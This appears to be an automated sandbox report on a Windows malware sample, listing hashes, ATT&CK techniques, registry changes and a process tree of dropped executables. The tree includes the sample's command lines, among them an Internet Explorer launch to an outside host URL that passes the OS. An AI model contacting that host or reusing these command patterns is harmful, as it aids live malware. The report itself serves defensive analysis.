69686361e264e1f6832820b24c9a6affeeb04a6a3c96081d821d03cb7c3e7ccc

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/10/2026, 03:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe
Size 243KB
Sample261029-ejadvswxbt
SHA256 69686361e264e1f6832820b24c9a6affeeb04a6a3c96081d821d03cb7c3e7ccc
MD5 e2d5d7b659a7a7b4ae7afc4e526cb2d3
SHA1 0f7866628f71df335bf2366150981dec8b462701
SHA512 1dac72de146e5e288bf22491896555fcb7341ff04b1fd1a758aa7fb1fb1742a2b895d166c343e32bc3a6034b494c6127d693524fc7e9c967a8e04f23362f046a
SSDEEP 3072:0UBb3TfLlaJhb7yra3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7iq:rb3TfLAUa3lLNngoqRttA7V
TLSH
T15D344A0172818071E75A0B78045AEBA1867E7C384BA5E5CFF7683F795A312D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
4464	CP.exe
640	pnifaysqki.exe
4152	CP.exe
988	CP.exe
1916	i_pnifaysqki.exe
368	nkfdxvpnhf.sys
2204	CP.exe
2196	faxsqkicav.exe
1760	CP.exe
2488	CP.exe
3700	i_faxsqkicav.exe
4836	aupnhfzxrp.sys
3880	CP.exe
1628	pnhfzxspkf.exe
3216	CP.exe
1860	CP.exe
928	i_pnhfzxspkf.exe
2436	pjhczusmke.sys
4344	CP.exe
3272	ecwupmhezx.exe
2008	CP.exe
1240	CP.exe
4476	i_ecwupmhezx.exe
4596	kezxrpjhbz.sys
3004	CP.exe
4568	rpjhbzurmj.exe
1536	CP.exe
4484	CP.exe
4696	i_rpjhbzurmj.exe
368	ywrojhbztr.sys
220	CP.exe
4280	rmjeztrlje.exe
536	CP.exe
4584	CP.exe
3064	i_rmjeztrlje.exe
2280	ojgbztrlje.sys
4976	CP.exe
1468	eywqoigbyt.exe
2940	CP.exe
1064	CP.exe
456	i_eywqoigbyt.exe
2512	ytqlidbvtn.sys
2132	CP.exe
3748	qljdbvtnlg.exe
3276	CP.exe
2460	CP.exe
4576	i_qljdbvtnlg.exe
992	bvtnlgdyvq.sys
1404	CP.exe
1572	igaysqkida.exe
4068	CP.exe
2396	CP.exe
4708	i_igaysqkida.exe
32	pnifaysqki.sys
1072	CP.exe
1284	idavtnlfdq.exe
2120	CP.exe
3044	CP.exe
60	i_idavtnlfdq.exe
3720	kicausnkfd.sys
4512	CP.exe
3728	cxvpnhfaxs.exe
400	CP.exe
1692	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxvpnhfaxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwupmhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkecwupmhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhbztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywrojgbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_davtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qljdbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igaysqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigbytqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_davtnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywqoigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qljdbvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_idavtnlfdq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjeztrlje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhbzurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywrojgbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxsqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idavtnlfdq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhbztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigbytqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfzxspki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfzxspki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnifaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxsqkicav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecwupmhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	davtnlfdyv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	davtnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfzxspkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxvpnhfaxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkecwupm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhbzurmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfzxspkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwupmhezx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjeztrlje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywqoigbyt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igaysqkida.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4276	ipconfig.exe
1264	ipconfig.exe
3828	ipconfig.exe
4236	ipconfig.exe
1428	ipconfig.exe
1352	ipconfig.exe
1180	ipconfig.exe
2228	ipconfig.exe
1432	ipconfig.exe
3976	ipconfig.exe
4444	ipconfig.exe
2484	ipconfig.exe
4984	ipconfig.exe
396	ipconfig.exe
4316	ipconfig.exe
4360	ipconfig.exe
2500	ipconfig.exe
876	ipconfig.exe
1568	ipconfig.exe
928	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30175fb95967dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3101586569"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3102055326"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31287129"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "500011237"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae550000000002000000000010660000000100002000000030fceab3d6e1cb3495a7b5bd9a9032a354f1cb7828d8541ee118e0fa97a70de7000000000e80000000020000200000002b4081f2f22228839d169e0f01b08dce435632b745087be877eaecc41579530c20000000f6c817aea6c6886d9001e82810b9882d751722c0b107cf7d0c3b7e13d4d3443840000000f6f06fd48f4003e4a816dab50aa5faab5d2cdef0067651ed7fdcd76945edfca19fbd0200ad4b8ece32f22cad0803cd76fd92755871be070357b0a96de3471a82	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{E42026B3-D34C-11F1-895E-66DCEFAAD7CC} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31287129"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 20d263b95967dd01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000008c470352768de4f8d8c4585f44eae550000000002000000000010660000000100002000000010038af02bd945e681bdbb6484ae18d2b5734048e25bdba8287d50668051dae1000000000e8000000002000020000000bc308674318145afcb620fe9ff841892626ff4d22d84e842ecd2d6af8045a95020000000d625f5110b61695c1a14ec6d20c4fb569dcb3964f81166d36e48b9cbec7442e440000000e350778d727534b66bd8a96ed3dc4bbc19885593401339866f8ac0e9f6bdd32640de9a6285d2808f8ee6f58f423109ab9a3ff6fd599cb03fa6c0645e149c84c3	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846164713-4096795028-774071693-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1916	i_pnifaysqki.exe
Token: SeDebugPrivilege	3700	i_faxsqkicav.exe
Token: SeDebugPrivilege	928	i_pnhfzxspkf.exe
Token: SeDebugPrivilege	4476	i_ecwupmhezx.exe
Token: SeDebugPrivilege	4696	i_rpjhbzurmj.exe
Token: SeDebugPrivilege	3064	i_rmjeztrlje.exe
Token: SeDebugPrivilege	456	i_eywqoigbyt.exe
Token: SeDebugPrivilege	4576	i_qljdbvtnlg.exe
Token: SeDebugPrivilege	4708	i_igaysqkida.exe
Token: SeDebugPrivilege	60	i_idavtnlfdq.exe
Token: SeDebugPrivilege	4836	i_cxvpnhfaxs.exe
Token: SeDebugPrivilege	4292	i_usmkecwupm.exe
Token: SeDebugPrivilege	716	i_mkecwupmhe.exe
Token: SeDebugPrivilege	2020	i_pjhbztrmje.exe
Token: SeDebugPrivilege	1880	i_geywrojgbz.exe
Token: SeDebugPrivilege	4964	i_oigbytqljd.exe
Token: SeDebugPrivilege	4340	i_davtnlfdyv.exe
Token: SeDebugPrivilege	4880	i_davtnifays.exe
Token: SeDebugPrivilege	3628	i_xvpnifaysq.exe
Token: SeDebugPrivilege	4792	i_pnhfzxspki.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4564	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4564	iexplore.exe
4564	iexplore.exe
3616	IEXPLORE.EXE
3616	IEXPLORE.EXE
3616	IEXPLORE.EXE
3616	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 4960 wrote to memory of 4564	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	84
PID 4564 wrote to memory of 3616	4564	iexplore.exe	85
PID 4960 wrote to memory of 4464	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	88
PID 640 wrote to memory of 4152	640	pnifaysqki.exe	91
PID 4960 wrote to memory of 988	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	96
PID 4960 wrote to memory of 2204	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	103
PID 2196 wrote to memory of 1760	2196	faxsqkicav.exe	105
PID 4960 wrote to memory of 2488	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	108
PID 4960 wrote to memory of 3880	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	112
PID 1628 wrote to memory of 3216	1628	pnhfzxspkf.exe	114
PID 4960 wrote to memory of 1860	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	117
PID 4960 wrote to memory of 4344	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	121
PID 3272 wrote to memory of 2008	3272	ecwupmhezx.exe	123
PID 4960 wrote to memory of 1240	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	126
PID 4960 wrote to memory of 3004	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	131
PID 4568 wrote to memory of 1536	4568	rpjhbzurmj.exe	133
PID 4960 wrote to memory of 4484	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	136
PID 4960 wrote to memory of 220	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	141
PID 4280 wrote to memory of 536	4280	rmjeztrlje.exe	143
PID 4960 wrote to memory of 4584	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	146
PID 4960 wrote to memory of 4976	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	150
PID 1468 wrote to memory of 2940	1468	eywqoigbyt.exe	152
PID 4960 wrote to memory of 1064	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	155
PID 4960 wrote to memory of 2132	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	159
PID 3748 wrote to memory of 3276	3748	qljdbvtnlg.exe	161
PID 4960 wrote to memory of 2460	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	164
PID 4960 wrote to memory of 1404	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	168
PID 1572 wrote to memory of 4068	1572	igaysqkida.exe	170
PID 4960 wrote to memory of 2396	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	173
PID 4960 wrote to memory of 1072	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	177
PID 1284 wrote to memory of 2120	1284	idavtnlfdq.exe	179
PID 4960 wrote to memory of 3044	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	182
PID 4960 wrote to memory of 4512	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	186
PID 3728 wrote to memory of 400	3728	cxvpnhfaxs.exe	188
PID 4960 wrote to memory of 1692	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	191
PID 4960 wrote to memory of 4716	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	195
PID 2512 wrote to memory of 4868	2512	usmkecwupm.exe	197
PID 4960 wrote to memory of 996	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	200
PID 4960 wrote to memory of 1696	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	204
PID 4848 wrote to memory of 532	4848	mkecwupmhe.exe	206
PID 4960 wrote to memory of 5076	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	209
PID 4960 wrote to memory of 2176	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	213
PID 1784 wrote to memory of 3620	1784	pjhbztrmje.exe	215
PID 4960 wrote to memory of 5036	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	218
PID 4960 wrote to memory of 3012	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	222
PID 4028 wrote to memory of 1532	4028	geywrojgbz.exe	224
PID 4960 wrote to memory of 5112	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	227
PID 4960 wrote to memory of 1012	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	231
PID 3820 wrote to memory of 3296	3820	oigbytqljd.exe	233
PID 4960 wrote to memory of 4856	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	236
PID 4960 wrote to memory of 176	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	240
PID 2684 wrote to memory of 2748	2684	davtnlfdyv.exe	242
PID 4960 wrote to memory of 2960	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	245
PID 4960 wrote to memory of 2072	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	249
PID 756 wrote to memory of 2720	756	davtnifays.exe	251
PID 4960 wrote to memory of 4320	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	254
PID 4960 wrote to memory of 1296	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	258
PID 2084 wrote to memory of 2160	2084	xvpnifaysq.exe	260
PID 4960 wrote to memory of 1840	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	263
PID 4960 wrote to memory of 3924	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	267
PID 4136 wrote to memory of 2188	4136	pnhfzxspki.exe	269
PID 4960 wrote to memory of 3144	4960	2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe	272

C:\Users\Admin\AppData\Local\Temp\2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-28_e2d5d7b659a7a7b4ae7afc4e526cb2d3_elex_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4960
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4564 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:3616
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnifaysqki.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4464
- - C:\Temp\pnifaysqki.exe
    C:\Temp\pnifaysqki.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:640
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4152
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4984
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnifaysqki.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:988
- - C:\Temp\i_pnifaysqki.exe
    C:\Temp\i_pnifaysqki.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\faxsqkicav.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2204
- - C:\Temp\faxsqkicav.exe
    C:\Temp\faxsqkicav.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2196
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1760
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:396
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_faxsqkicav.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2488
- - C:\Temp\i_faxsqkicav.exe
    C:\Temp\i_faxsqkicav.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3700
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnhfzxspkf.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3880
- - C:\Temp\pnhfzxspkf.exe
    C:\Temp\pnhfzxspkf.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1628
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3216
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4316
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnhfzxspkf.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1860
- - C:\Temp\i_pnhfzxspkf.exe
    C:\Temp\i_pnhfzxspkf.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:928
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ecwupmhezx.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4344
- - C:\Temp\ecwupmhezx.exe
    C:\Temp\ecwupmhezx.exe ups_run
    3⤵
